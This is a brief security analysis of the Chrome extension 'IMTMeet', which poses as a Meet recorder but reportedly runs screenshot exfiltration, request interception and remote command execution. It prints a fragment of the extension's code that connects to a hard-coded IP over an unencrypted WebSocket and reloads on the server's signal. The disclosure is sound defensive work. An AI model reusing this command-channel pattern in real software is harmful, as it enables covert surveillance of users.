IMTMeet

The Chrome Web Store listing describes this extension as a Google Meet session recorder that uploads to Google Drive (productivity use case), but the manifest internally identifies it as a 'remote filtering agent' and every JS file implements continuous screenshot exfiltration, full web-request interception, and remote command execution — none of which match the disclosed listing purpose. This deliberate mismatch hides the extension's surveillance function from users who would install a perceived screen-recording tool, and is consistent with the policy_violation reason cited for CWS removal.

{  "description": "IMTLazarus's remote filtering agent for Chrome."}

The extension establishes an unencrypted WebSocket connection to a raw IP address (137.74.170.11:8123) that is unrelated to the publisher's declared domain (imtlazarus.com). Messages received from this third-party server directly control the extension's lifecycle: if the server does not respond with 'TUNELUP', the extension calls chrome.runtime.reload(). This gives an external, non-publisher-associated server the ability to trigger extension restarts, and the unencrypted channel could be intercepted or spoofed.

ws = new WebSocket('ws://137.74.170.11:8123');ws.onmessage = function(event) {  estadotunelinternet = event.data;  //console.log('Túnel Estado: ' + event.data);}}...function recarga() {  console.log('Internet Estado: ' + estadotunelinternet);  if (estadotunelinternet == "TUNELUP") {    continuar();  } else {    chrome.runtime.reload();  }}